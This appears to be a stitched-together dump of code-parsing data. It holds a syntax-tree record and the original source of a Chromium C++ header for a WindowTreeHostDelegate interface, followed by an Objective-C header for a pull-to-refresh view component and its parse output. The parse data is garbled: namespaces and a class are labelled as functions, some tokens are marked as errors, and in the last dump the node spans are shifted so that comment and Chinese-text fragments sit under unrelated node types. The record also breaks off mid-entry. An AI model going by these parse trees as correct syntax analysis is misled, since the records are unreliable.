COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_\n", "parent": 0, "children": [4, 5], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 6, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 5, "column": 0}, "end_point": {"row": 5, "column": 7}}, {"id": 5, "type": "identifier", "text": "COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_", "parent": 3, "children": [], "start_point": {"row": 5, "column": 8}, "end_point": {"row": 5, "column": 54}}, {"id": 6, "type": "function_definition", "text": "namespace mus {\n\nnamespace ws {\n\nclass WindowTreeImpl;\n\n// A WindowTreeHostDelegate interface is implemented by an object that\n// has the WindowTreeImpl that is associated with the WindowTreeHostImpl that\n// holds a pointer to this object. Typically, a WindowTreeHostDelegate will also\n// manage the lifetime of the WindowTreeHostImpl and will delete the object when\n// it get informed of when the Display of the root is closed.\nclass WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n};\n\n} // namespace ws\n\n}", "parent": 0, "children": [7, 8], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 40, "column": 1}}, {"id": 7, "type": "type_identifier", "text": "namespace", "parent": 6, "children": [], "start_point": {"row": 7, "column": 0}, "end_point": {"row": 7, "column": 9}}, {"id": 8, "type": "identifier", "text": "mus", "parent": 6, "children": [], "start_point": {"row": 7, "column": 10}, "end_point": {"row": 7, "column": 13}}, {"id": 9, "type": "function_definition", "text": "namespace ws {\n\nclass WindowTreeImpl;\n\n// A WindowTreeHostDelegate interface is implemented by an object that\n// has the WindowTreeImpl that is associated with the WindowTreeHostImpl that\n// holds a pointer to this object. Typically, a WindowTreeHostDelegate will also\n// manage the lifetime of the WindowTreeHostImpl and will delete the object when\n// it get informed of when the Display of the root is closed.\nclass WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n};\n\n}", "parent": 6, "children": [10, 11], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 38, "column": 1}}, {"id": 10, "type": "type_identifier", "text": "namespace", "parent": 9, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 9}}, {"id": 11, "type": "identifier", "text": "ws", "parent": 9, "children": [], "start_point": {"row": 9, "column": 10}, "end_point": {"row": 9, "column": 12}}, {"id": 12, "type": "declaration", "text": "class WindowTreeImpl;", "parent": 9, "children": [13], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 21}}, {"id": 13, "type": "identifier", "text": "WindowTreeImpl", "parent": 12, "children": [], "start_point": {"row": 11, "column": 6}, "end_point": {"row": 11, "column": 20}}, {"id": 14, "type": "function_definition", "text": "class WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n}", "parent": 9, "children": [15], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 36, "column": 1}}, {"id": 15, "type": "identifier", "text": "WindowTreeHostDelegate", "parent": 14, "children": [], "start_point": {"row": 18, "column": 6}, "end_point": {"row": 18, "column": 28}}, {"id": 16, "type": "labeled_statement", "text": "public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;", "parent": 14, "children": [17], "start_point": {"row": 19, "column": 1}, "end_point": {"row": 22, "column": 42}}, {"id": 17, "type": "declaration", "text": "virtual void OnDisplayInitialized() = 0;", "parent": 16, "children": [18, 19, 21], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 22, "column": 42}}, {"id": 18, "type": "type_identifier", "text": "virtual", "parent": 17, "children": [], "start_point": {"row": 22, "column": 2}, "end_point": {"row": 22, "column": 9}}, {"id": 19, "type": "ERROR", "text": "void", "parent": 17, "children": [20], "start_point": {"row": 22, "column": 10}, "end_point": {"row": 22, "column": 14}}, {"id": 20, "type": "identifier", "text": "void", "parent": 19, "children": [], "start_point": {"row": 22, "column": 10}, "end_point": {"row": 22, "column": 14}}, {"id": 21, "type": "init_declarator", "text": "OnDisplayInitialized() = 0", "parent": 17, "children": [22, 25, 26], "start_point": {"row": 22, "column": 15}, "end_point": {"row": 22, "column": 41}}, {"id": 22, "type": "function_declarator", "text": "OnDisplayInitialized()", "parent": 21, "children": [23, 24], "start_point": {"row": 22, "column": 15}, "end_point": {"row": 22, "column": 37}}, {"id": 23, "type": "identifier", "text": "OnDisplayInitialized", "parent": 22, "children": [], "start_point": {"row": 22, "column": 15}, "end_point": {"row": 22, "column": 35}}, {"id": 24, "type": "parameter_list", "text": "()", "parent": 22, "children": [], "start_point": {"row": 22, "column": 35}, "end_point": {"row": 22, "column": 37}}, {"id": 25, "type": "=", "text": "=", "parent": 21, "children": [], "start_point": {"row": 22, "column": 38}, "end_point": {"row": 22, "column": 39}}, {"id": 26, "type": "number_literal", "text": "0", "parent": 21, "children": [], "start_point": {"row": 22, "column": 40}, "end_point": {"row": 22, "column": 41}}, {"id": 27, "type": "declaration", "text": "virtual void OnDisplayClosed() = 0;", "parent": 14, "children": [28, 29, 31], "start_point": {"row": 25, "column": 2}, "end_point": {"row": 25, "column": 37}}, {"id": 28, "type": "type_identifier", "text": "virtual", "parent": 27, "children": [], "start_point": {"row": 25, "column": 2}, "end_point": {"row": 25, "column": 9}}, {"id": 29, "type": "ERROR", "text": "void", "parent": 27, "children": [30], "start_point": {"row": 25, "column": 10}, "end_point": {"row": 25, "column": 14}}, {"id": 30, "type": "identifier", "text": "void", "parent": 29, "children": [], "start_point": {"row": 25, "column": 10}, "end_point": {"row": 25, "column": 14}}, {"id": 31, "type": "init_declarator", "text": "OnDisplayClosed() = 0", "parent": 27, "children": [32, 35, 36], "start_point": {"row": 25, "column": 15}, "end_point": {"row": 25, "column": 36}}, {"id": 32, "type": "function_declarator", "text": "OnDisplayClosed()", "parent": 31, "children": [33, 34], "start_point": {"row": 25, "column": 15}, "end_point": {"row": 25, "column": 32}}, {"id": 33, "type": "identifier", "text": "OnDisplayClosed", "parent": 32, "children": [], "start_point": {"row": 25, "column": 15}, "end_point": {"row": 25, "column": 30}}, {"id": 34, "type": "parameter_list", "text": "()", "parent": 32, "children": [], "start_point": {"row": 25, "column": 30}, "end_point": {"row": 25, "column": 32}}, {"id": 35, "type": "=", "text": "=", "parent": 31, "children": [], "start_point": {"row": 25, "column": 33}, "end_point": {"row": 25, "column": 34}}, {"id": 36, "type": "number_literal", "text": "0", "parent": 31, "children": [], "start_point": {"row": 25, "column": 35}, "end_point": {"row": 25, "column": 36}}, {"id": 37, "type": "declaration", "text": "virtual const WindowTreeImpl* GetWindowTree() const = 0;", "parent": 14, "children": [38, 39, 41], "start_point": {"row": 28, "column": 2}, "end_point": {"row": 28, "column": 58}}, {"id": 38, "type": "type_identifier", "text": "virtual", "parent": 37, "children": [], "start_point": {"row": 28, "column": 2}, "end_point": {"row": 28, "column": 9}}, {"id": 39, "type": "ERROR", "text": "WindowTreeImpl", "parent": 37, "children": [40], "start_point": {"row": 28, "column": 16}, "end_point": {"row": 28, "column": 30}}, {"id": 40, "type": "identifier", "text": "WindowTreeImpl", "parent": 39, "children": [], "start_point": {"row": 28, "column": 16}, "end_point": {"row": 28, "column": 30}}, {"id": 41, "type": "init_declarator", "text": "* GetWindowTree() const = 0", "parent": 37, "children": [42, 47, 48], "start_point": {"row": 28, "column": 30}, "end_point": {"row": 28, "column": 57}}, {"id": 42, "type": "pointer_declarator", "text": "* GetWindowTree() const", "parent": 41, "children": [43, 44], "start_point": {"row": 28, "column": 30}, "end_point": {"row": 28, "column": 53}}, {"id": 43, "type": "*", "text": "*", "parent": 42, "children": [], "start_point": {"row": 28, "column": 30}, "end_point": {"row": 28, "column": 31}}, {"id": 44, "type": "function_declarator", "text": "GetWindowTree() const", "parent": 42, "children": [45, 46], "start_point": {"row": 28, "column": 32}, "end_point": {"row": 28, "column": 53}}, {"id": 45, "type": "identifier", "text": "GetWindowTree", "parent": 44, "children": [], "start_point": {"row": 28, "column": 32}, "end_point": {"row": 28, "column": 45}}, {"id": 46, "type": "parameter_list", "text": "()", "parent": 44, "children": [], "start_point": {"row": 28, "column": 45}, "end_point": {"row": 28, "column": 47}}, {"id": 47, "type": "=", "text": "=", "parent": 41, "children": [], "start_point": {"row": 28, "column": 54}, "end_point": {"row": 28, "column": 55}}, {"id": 48, "type": "number_literal", "text": "0", "parent": 41, "children": [], "start_point": {"row": 28, "column": 56}, "end_point": {"row": 28, "column": 57}}, {"id": 49, "type": "function_definition", "text": "WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }", "parent": 14, "children": [50, 51], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 32, "column": 3}}, {"id": 50, "type": "type_identifier", "text": "WindowTreeImpl", "parent": 49, "children": [], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 29, "column": 16}}, {"id": 51, "type": "pointer_declarator", "text": "* GetWindowTree()", "parent": 49, "children": [52, 53], "start_point": {"row": 29, "column": 16}, "end_point": {"row": 29, "column": 33}}, {"id": 52, "type": "*", "text": "*", "parent": 51, "children": [], "start_point": {"row": 29, "column": 16}, "end_point": {"row": 29, "column": 17}}, {"id": 53, "type": "function_declarator", "text": "GetWindowTree()", "parent": 51, "children": [54, 55], "start_point": {"row": 29, "column": 18}, "end_point": {"row": 29, "column": 33}}, {"id": 54, "type": "identifier", "text": "GetWindowTree", "parent": 53, "children": [], "start_point": {"row": 29, "column": 18}, "end_point": {"row": 29, "column": 31}}, {"id": 55, "type": "parameter_list", "text": "()", "parent": 53, "children": [], "start_point": {"row": 29, "column": 31}, "end_point": {"row": 29, "column": 33}}, {"id": 56, "type": "return_statement", "text": "return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());", "parent": 49, "children": [57], "start_point": {"row": 30, "column": 4}, "end_point": {"row": 31, "column": 74}}, {"id": 57, "type": "binary_expression", "text": "const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree())", "parent": 56, "children": [58, 62, 64, 65], "start_point": {"row": 30, "column": 11}, "end_point": {"row": 31, "column": 73}}, {"id": 58, "type": "binary_expression", "text": "const_cast<WindowTreeImpl", "parent": 57, "children": [59, 60, 61], "start_point": {"row": 30, "column": 11}, "end_point": {"row": 30, "column": 36}}, {"id": 59, "type": "identifier", "text": "const_cast", "parent": 58, "children": [], "start_point": {"row": 30, "column": 11}, "end_point": {"row": 30, "column": 21}}, {"id": 60, "type": "<", "text": "<", "parent": 58, "children": [], "start_point": {"row": 30, "column": 21}, "end_point": {"row": 30, "column": 22}}, {"id": 61, "type": "identifier", "text": "WindowTreeImpl", "parent": 58, "children": [], "start_point": {"row": 30, "column": 22}, "end_point": {"row": 30, "column": 36}}, {"id": 62, "type": "ERROR", "text": "*", "parent": 57, "children": [63], "start_point": {"row": 30, "column": 36}, "end_point": {"row": 30, "column": 37}}, {"id": 63, "type": "*", "text": "*", "parent": 62, "children": [], "start_point": {"row": 30, "column": 36}, "end_point": {"row": 30, "column": 37}}, {"id": 64, "type": ">", "text": ">", "parent": 57, "children": [], "start_point": {"row": 30, "column": 37}, "end_point": {"row": 30, "column": 38}}, {"id": 65, "type": "parenthesized_expression", "text": "(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree())", "parent": 57, "children": [66], "start_point": {"row": 30, "column": 38}, "end_point": {"row": 31, "column": 73}}, {"id": 66, "type": "binary_expression", "text": "const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree()", "parent": 65, "children": [67, 71, 73, 74], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 72}}, {"id": 67, "type": "binary_expression", "text": "const_cast<const WindowTreeHostDelegate", "parent": 66, "children": [68, 69, 70], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 47}}, {"id": 68, "type": "identifier", "text": "const_cast", "parent": 67, "children": [], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 18}}, {"id": 69, "type": "<", "text": "<", "parent": 67, "children": [], "start_point": {"row": 31, "column": 18}, "end_point": {"row": 31, "column": 19}}, {"id": 70, "type": "identifier", "text": "WindowTreeHostDelegate", "parent": 67, "children": [], "start_point": {"row": 31, "column": 25}, "end_point": {"row": 31, "column": 47}}, {"id": 71, "type": "ERROR", "text": "*", "parent": 66, "children": [72], "start_point": {"row": 31, "column": 47}, "end_point": {"row": 31, "column": 48}}, {"id": 72, "type": "*", "text": "*", "parent": 71, "children": [], "start_point": {"row": 31, "column": 47}, "end_point": {"row": 31, "column": 48}}, {"id": 73, "type": ">", "text": ">", "parent": 66, "children": [], "start_point": {"row": 31, "column": 48}, "end_point": {"row": 31, "column": 49}}, {"id": 74, "type": "call_expression", "text": "(this)->GetWindowTree()", "parent": 66, "children": [75, 79], "start_point": {"row": 31, "column": 49}, "end_point": {"row": 31, "column": 72}}, {"id": 75, "type": "field_expression", "text": "(this)->GetWindowTree", "parent": 74, "children": [76, 78], "start_point": {"row": 31, "column": 49}, "end_point": {"row": 31, "column": 70}}, {"id": 76, "type": "parenthesized_expression", "text": "(this)", "parent": 75, "children": [77], "start_point": {"row": 31, "column": 49}, "end_point": {"row": 31, "column": 55}}, {"id": 77, "type": "identifier", "text": "this", "parent": 76, "children": [], "start_point": {"row": 31, "column": 50}, "end_point": {"row": 31, "column": 54}}, {"id": 78, "type": "field_identifier", "text": "GetWindowTree", "parent": 75, "children": [], "start_point": {"row": 31, "column": 57}, "end_point": {"row": 31, "column": 70}}, {"id": 79, "type": "argument_list", "text": "()", "parent": 74, "children": [], "start_point": {"row": 31, "column": 70}, "end_point": {"row": 31, "column": 72}}, {"id": 80, "type": "labeled_statement", "text": "protected:\n virtual ~WindowTreeHostDelegate() {}", "parent": 14, "children": [81], "start_point": {"row": 34, "column": 1}, "end_point": {"row": 35, "column": 38}}, {"id": 81, "type": "ERROR", "text": "virtual ~WindowTreeHostDelegate()", "parent": 80, "children": [82, 83, 85], "start_point": {"row": 35, "column": 2}, "end_point": {"row": 35, "column": 35}}, {"id": 82, "type": "type_identifier", "text": "virtual", "parent": 81, "children": [], "start_point": {"row": 35, "column": 2}, "end_point": {"row": 35, "column": 9}}, {"id": 83, "type": "ERROR", "text": "~", "parent": 81, "children": [84], "start_point": {"row": 35, "column": 10}, "end_point": {"row": 35, "column": 11}}, {"id": 84, "type": "~", "text": "~", "parent": 83, "children": [], "start_point": {"row": 35, "column": 10}, "end_point": {"row": 35, "column": 11}}, {"id": 85, "type": "function_declarator", "text": "WindowTreeHostDelegate()", "parent": 81, "children": [86, 87], "start_point": {"row": 35, "column": 11}, "end_point": {"row": 35, "column": 35}}, {"id": 86, "type": "identifier", "text": "WindowTreeHostDelegate", "parent": 85, "children": [], "start_point": {"row": 35, "column": 11}, "end_point": {"row": 35, "column": 33}}, {"id": 87, "type": "parameter_list", "text": "()", "parent": 85, "children": [], "start_point": {"row": 35, "column": 33}, "end_point": {"row": 35, "column": 35}}, {"id": 88, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 42, "column": 6}}]}, "node_categories": {"declarations": {"functions": [6, 9, 14, 22, 32, 44, 49, 53, 85], "variables": [12, 17, 27, 37], "classes": [], "imports": [], "modules": [], "enums": []}, "statements": {"expressions": [57, 58, 65, 66, 67, 74, 75, 76], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 7, 8, 10, 11, 13, 15, 18, 20, 23, 28, 30, 33, 38, 40, 45, 50, 54, 59, 61, 68, 70, 77, 78, 82, 86, 88], "returns": [56], "exceptions": []}, "expressions": {"calls": [], "literals": [26, 36, 48], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 6, "universal_type": "function", "name": "WindowTreeImpl;", "text_snippet": "namespace mus {\n\nnamespace ws {\n\nclass WindowTreeImpl;\n\n// A WindowTreeHostDelegate interface is imp"}, {"node_id": 9, "universal_type": "function", "name": "WindowTreeImpl;", "text_snippet": "namespace ws {\n\nclass WindowTreeImpl;\n\n// A WindowTreeHostDelegate interface is implemented by an ob"}, {"node_id": 14, "universal_type": "function", "name": "WindowTreeHostDelegate", "text_snippet": "class WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is comp"}, {"node_id": 22, "universal_type": "function", "name": "unknown", "text_snippet": "OnDisplayInitialized()"}, {"node_id": 32, "universal_type": "function", "name": "unknown", "text_snippet": "OnDisplayClosed()"}, {"node_id": 44, "universal_type": "function", "name": "unknown", "text_snippet": "GetWindowTree() const"}, {"node_id": 49, "universal_type": "function", "name": "unknown", "text_snippet": "WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const W"}, {"node_id": 53, "universal_type": "function", "name": "unknown", "text_snippet": "GetWindowTree()"}, {"node_id": 85, "universal_type": "function", "name": "unknown", "text_snippet": "WindowTreeHostDelegate()"}], "class_declarations": [], "import_statements": []}, "original_source_code": "// Copyright 2015 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_\n#define COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_\n\nnamespace mus {\n\nnamespace ws {\n\nclass WindowTreeImpl;\n\n// A WindowTreeHostDelegate interface is implemented by an object that\n// has the WindowTreeImpl that is associated with the WindowTreeHostImpl that\n// holds a pointer to this object. Typically, a WindowTreeHostDelegate will also\n// manage the lifetime of the WindowTreeHostImpl and will delete the object when\n// it get informed of when the Display of the root is closed.\nclass WindowTreeHostDelegate {\n public:\n // Called when the window associated with the root is completely initialized\n // (i.e. the ViewportMetrics for the display is known).\n virtual void OnDisplayInitialized() = 0;\n\n // Called when the window associated with the root is closed.\n virtual void OnDisplayClosed() = 0;\n\n // Returns the WindowTreeImpl associated with the delegate.\n virtual const WindowTreeImpl* GetWindowTree() const = 0;\n WindowTreeImpl* GetWindowTree() {\n return const_cast<WindowTreeImpl*>(\n const_cast<const WindowTreeHostDelegate*>(this)->GetWindowTree());\n }\n\n protected:\n virtual ~WindowTreeHostDelegate() {}\n};\n\n} // namespace ws\n\n} // namespace mus\n\n#endif // COMPONENTS_MUS_WS_WINDOW_TREE_HOST_DELEGATE_H_\n"}
81,198
c
// // CBWrefreshComponet.h // CBWRefresh // // Created by 陈博文 on 16/5/30. // Copyright © 2016年 陈博文. All rights reserved. // #import <UIKit/UIKit.h> /** 刷新控件的状态 */ typedef NS_ENUM(NSInteger,CBWRefreshState) { /** 普通闲置状态 */ CBWRefreshStateIdle = 1, /** 松开就可以进行刷新的状态 */ CBWRefreshStatePulling, /** 正在刷新中的状态 */ CBWRefreshStateRefreshing, /** 即将刷新的状态 */ CBWRefreshStateWillRefresh, /** 所有数据加载完毕,没有更多的数据了 */ CBWRefreshStateNoMoreData }; @interface CBWrefreshComponet : UIView /** 处于刷新的状态*/ @property (nonatomic ,assign) CBWRefreshState state; /** 获取正在滚动的 scrolView*/ @property (nonatomic ,weak) UIScrollView *scrollView; /** 回调对象 */ @property (weak, nonatomic) id refreshingTarget; /** 回调方法 */ @property (assign, nonatomic) SEL refreshingAction; /** 下拉比例*/ @property (nonatomic ,assign) float pullingPercent; /** * 初始化控件 */ - (void)prepare; /** * 开始刷新 */ - (void)beginRefresh; /** * 结束刷新 */ - (void)endRefresh; //设置事件 - (void)setRefreshingTarget:(id)target refreshingAction:(SEL)action; //调用刷新方法 - (void)executeRefreshingCallback; /** 当scrollView的contentOffset发生改变的时候调用 */ - (void)scrollViewContentOffsetDidChange:(NSDictionary *)change; /** 当scrollView的contentSize发生改变的时候调用 */ - (void)scrollViewContentSizeDidChange:(NSDictionary *)change; /** 当scrollView的拖拽状态发生改变的时候调用 */ - (void)scrollViewPanStateDidChange:(NSDictionary *)change; @end
24.2
55
(translation_unit) "//\n// CBWrefreshComponet.h\n// CBWRefresh\n//\n// Created by 陈博文 on 16/5/30.\n// Copyright © 2016年 陈博文. All rights reserved.\n//\n\n#import <UIKit/UIKit.h>\n\n/** 刷新控件的状态 */\ntypedef NS_ENUM(NSInteger,CBWRefreshState) {\n /** 普通闲置状态 */\n CBWRefreshStateIdle = 1,\n /** 松开就可以进行刷新的状态 */\n CBWRefreshStatePulling,\n /** 正在刷新中的状态 */\n CBWRefreshStateRefreshing,\n /** 即将刷新的状态 */\n CBWRefreshStateWillRefresh,\n /** 所有数据加载完毕,没有更多的数据了 */\n CBWRefreshStateNoMoreData\n};\n\n@interface CBWrefreshComponet : UIView\n\n/** 处于刷新的状态*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** 获取正在滚动的 scrolView*/\n@property (nonatomic ,weak) UIScrollView *scrollView;\n/** 回调对象 */\n@property (weak, nonatomic) id refreshingTarget;\n/** 回调方法 */\n@property (assign, nonatomic) SEL refreshingAction;\n/** 下拉比例*/\n@property (nonatomic ,assign) float pullingPercent;\n\n/**\n * 初始化控件\n */\n- (void)prepare;\n\n/**\n * 开始刷新\n */\n- (void)beginRefresh;\n\n/**\n * 结束刷新\n */\n- (void)endRefresh;\n\n//设置事件\n- (void)setRefreshingTarget:(id)target refreshingAction:(SEL)action;\n\n//调用刷新方法\n- (void)executeRefreshingCallback;\n\n/** 当scrollView的contentOffset发生改变的时候调用 */\n- (void)scrollViewContentOffsetDidChange:(NSDictionary *)change;\n/** 当scrollView的contentSize发生改变的时候调用 */\n- (void)scrollViewContentSizeDidChange:(NSDictionary *)change;\n/** 当scrollView的拖拽状态发生改变的时候调用 */\n- (void)scrollViewPanStateDidChange:(NSDictionary *)change;\n@end\n" (comment) "//" (comment) "// CBWrefreshComponet.h" (comment) "// CBWRefresh" (comment) "//" (comment) "// Created by 陈博文 on 16/5/30.\n// C" (comment) "pyright © 2016年 陈博文. All rights reserved.\n//\n\n#import <U" (comment) "Ki" (preproc_call) "UIKit.h>\n\n/** 刷新控件的状态 */" (preproc_directive) "UIKit.h" (preproc_arg) "\n\n/** 刷新控件的状态 *" (comment) "typedef NS_ENUM(NSInteger,CB" (ERROR) "RefreshState) {\n /** 普通闲置状态 */\n CBWRefreshStateIdle = 1,\n /** 松开就可以进行刷新的状态 */\n CBWRefreshStatePulling,\n /** 正在刷新中的状态 */\n CBWRefreshStateRefreshing,\n /** 即将刷新的状态 */\n CBWRefreshStateWillRefresh,\n /** 所有数据加载完毕,没有更多的数据了 */\n CBWRefreshStateNoMoreData\n};\n\n@interface CBWrefreshComponet : UIView\n\n/** 处于刷新的状态*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** 获取正在滚动的 scrolView*/\n@property (nonatomic ,weak) UIScrollView *scrollView;\n/** 回调对象 */\n@property (weak, nonatomic) id refreshingTarget;\n/** 回调方法 */\n@property (assign, nonatomic) SEL refreshingAction;\n/** 下拉比例*/\n@property (nonatomic ,assign) float pullingPercent;\n\n/**\n * 初始化控件\n */\n- (void)prepare;\n\n/**\n * 开始刷新\n */\n- (void)beginRefresh;\n\n/**\n * 结束刷新\n */\n- (void)endRefresh;\n\n//设置事件\n- (void)setRefreshingTarget:(id)target refreshingAction:(SEL)action;\n\n//调用刷新方法\n- (void)executeRefreshingCallback;\n\n/** 当scrollView的contentOffset发生改变的时候调用 */\n- (void)scrollViewContentOffsetDidChange:(NSDictionary *)change;\n/** 当scrollView的contentSize发生改变的时候调用 */\n- (void)scrollViewContentSizeDidChange:(NSDictionary *)change;\n/** 当scrollView的拖拽状态发生改变的时候调用 */\n- (void)scrollViewPanStateDidChange:(NSDictionary *)change;\n@end\n" (typedef) "Refresh" (macro_type_specifier) "tate) {\n /** 普通闲置状态 */\n CBWR" (identifier) "tate) {" (() "\n" (ERROR) " /** 普通" (type_descriptor) " /** 普" (type_identifier) " /** 普" (,) "通" (type_descriptor) "闲置状态 */\n CBW" (type_identifier) "闲置状态 */\n CBW" ()) "R" ({) "f" (comment) "tateIdle = 1,\n /** 松开就" (expression_statement) "新的状态 */\n CBWRefreshStatePulling,\n /** 正在刷新中的状态 */\n CBWRefreshStateRefreshing,\n /** 即将刷新的状态 */\n CBWRefreshStateWillRefresh,\n /** 所有数据加载完毕,没有更多的数据了 */\n CBWRefreshStateNoMoreData\n};\n\n@interface CBWrefreshComponet : UIView\n\n/** 处于刷新的状态*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** 获取正在滚动的 scrolVie" (comma_expression) "新的状态 */\n CBWRefreshStatePulling,\n /** 正在刷新中的状态 */\n CBWRefreshStateRefreshing,\n /** 即将刷新的状态 */\n CBWRefreshStateWillRefresh,\n /** 所有数据加载完毕,没有更多的数据了 */\n CBWRefreshStateNoMoreData\n};\n\n@interface CBWrefreshComponet : UIView\n\n/** 处于刷新的状态*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** 获取正在滚动的 scrol" (assignment_expression) "新的状态 */\n CBWRefreshS" (identifier) "新的状态 */\n CBWRefr" (=) "s" (number_literal) "S" (,) "t" (comment) "lling,\n /** 正在刷新中的状态 */\n CBWRefreshSt" (comma_expression) "freshing,\n /** 即将刷新的状态 */\n CBWRefreshStateWillRefresh,\n /** 所有数据加载完毕,没有更多的数据了 */\n CBWRefreshStateNoMoreData\n};\n\n@interface CBWrefreshComponet : UIView\n\n/** 处于刷新的状态*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** 获取正在滚动的 scrol" (identifier) "freshing,\n /** 即将刷新" (,) "的" (comment) "\n CBWRefreshStateWillRefresh" (comma_expression) " /** 所有数据加载完毕,没有更多的数据了 */\n CBWRefreshStateNoMoreData\n};\n\n@interface CBWrefreshComponet : UIView\n\n/** 处于刷新的状态*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** 获取正在滚动的 scrol" (identifier) " /** 所有数据加载完毕,没有更多的数据了 */" (,) "\n" (comment) "BWRefreshStateNoMoreData\n};\n" (comma_expression) "erface CBWrefreshComponet : UIView\n\n/** 处于刷新的状态*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** 获取正在滚动的 scrol" (identifier) "erface CBWrefreshComponet " (,) ":" (comment) "ew\n\n/** 处于刷新的状态*/\n@property (nonatomic ,assign) CBWRefresh" (identifier) " state;\n/** 获取正在滚动的 scrol" (ERROR) "i" (}) "i" (;) "e" (ERROR) "/" (ERROR) "/" (type_identifier) "\n@propert" (ERROR) " (nonatomic ,weak) UIScrollView *scrollView;\n/** 回调对象 */\n@" (identifier) " (nonatomic ,weak)" (:) "U" (identifier) "Scroll" (comment) "ew *scrollView;\n/** 回调对象 */" (ERROR) "@" (function_declarator) "property (weak, nonatomic) i" (identifier) "property" (parameter_list) "(weak, nonatomic) i" (() "(" (identifier) "weak, non" (,) "t" (identifier) "omic) " ()) "i" (declaration) " refreshingTarget;\n/**" (type_identifier) " refreshingTarg" (identifier) "t;\n/*" (;) "*" (comment) "回调方法 */\n@property (assign, nonatomic)" (ERROR) "S" (ERROR) "S" (declaration) "EL refreshingAction;\n/** 下拉比例*/\n@property (nonatomic" (macro_type_specifier) "EL refreshingAction;\n/** 下" (identifier) "EL refre" (() "h" (type_descriptor) "ingAction" (type_identifier) "ingAction" (ERROR) "\n/** " (,) "\n" (identifier) "/** " ()) "下" (ERROR) "比例*/\n@proper" (identifier) "比例*/\n@proper" (pointer_declarator) "y (nonatomi" (*) "y" (identifier) " (nonatomi" (;) "c" (comment) ",assign) float pull" (ERROR) "n" (ERROR) "n" (declaration) "gPercent;\n\n/**\n * 初始化控件\n */\n- (void)prepare;\n\n" (macro_type_specifier) "gPercent;\n\n/**\n * 初始化控件\n " (identifier) "gPercent" (() "\n" (ERROR) "\n/**\n" (type_descriptor) "\n/**" (type_identifier) "\n/**" (,) "\n" (type_descriptor) "* 初始化控件\n" (type_identifier) "* 初始化控件\n" ()) " " (ERROR) "/\n" (identifier) "/\n" (identifier) " (void)prepare;\n" (;) "\n" (comment) "**\n * 开始刷新\n */\n- (" (ERROR) "o" (ERROR) "o" (declaration) "id)beginRefresh;\n\n/**\n * 结束刷新\n */\n- (void)endRefr" (macro_type_specifier) "id)beginRefresh;\n\n/**\n * 结束" (identifier) "id)begin" (() "e" (ERROR) "fresh;\n" (type_descriptor) "fresh;" (type_identifier) 